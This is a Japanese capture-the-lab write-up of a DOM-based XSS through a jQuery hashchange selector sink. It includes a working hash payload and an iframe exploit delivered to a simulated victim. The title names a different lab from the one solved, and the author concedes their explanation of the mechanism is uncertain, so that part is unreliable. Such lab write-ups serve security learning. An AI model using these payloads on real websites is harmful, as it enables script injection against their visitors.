Reflected XSS into attribute with angle brackets HTML-encoded
開発者ツールで、ソース確認
検索で、[ script ]で検索すると、以下のJSを発見
$(window).on('hashchange', function(){
var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
if (post) post.get(0).scrollIntoView();
});
内臓ブラウザのURL以下に、ペイロードを入れてエンター
#" onload="this.src+='<img src=x onerror=print()>'
print()関数(印刷ダイアログ開く)が実行されました。
ペイロードを追ってみる
window.location.hash.slice(1) に、URLの#(ハッシュ)以下が入る
var post = $('section.blog-list h2:contains(' + decodeURIComponent(" onload="this.src+='<img src=x onerror=print()>') + ')');
*decodeURIComponentは、urlデコード
*わかりづらいので、そのまま展開されたとして
var post = $('section.blog-list h2:contains('" onload="this.src+='<img src=x onerror=print()>')');
jqueryオブジェクト、$()の中
section.blog-list h2:contains('" onload="this.src+='<img src=x onerror=print()>')
h2:contains()の中
" onload="this.src+='<img src=x onerror=print()>
これが、section.blog-list h2タグ内に入って、構文がつぶされるのかな
*すみません。理解が浅いです。正確に分かれば、追記させて頂きます。
ペイロードの動作検証がとれたので、
被害者に届ける作業をします。
エクスプロイトサーバーのbodyに
上のペイロードを、iframeに入れたものを入力します
<iframe src="https://YOUR-LAB-ID.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>
store
view exploit
でテスト
印刷ダイアログがたくさん開き、print()関数が実行されました。
Deliver exploit to victimをクリック
被害者に送信されて、クリア!
コメント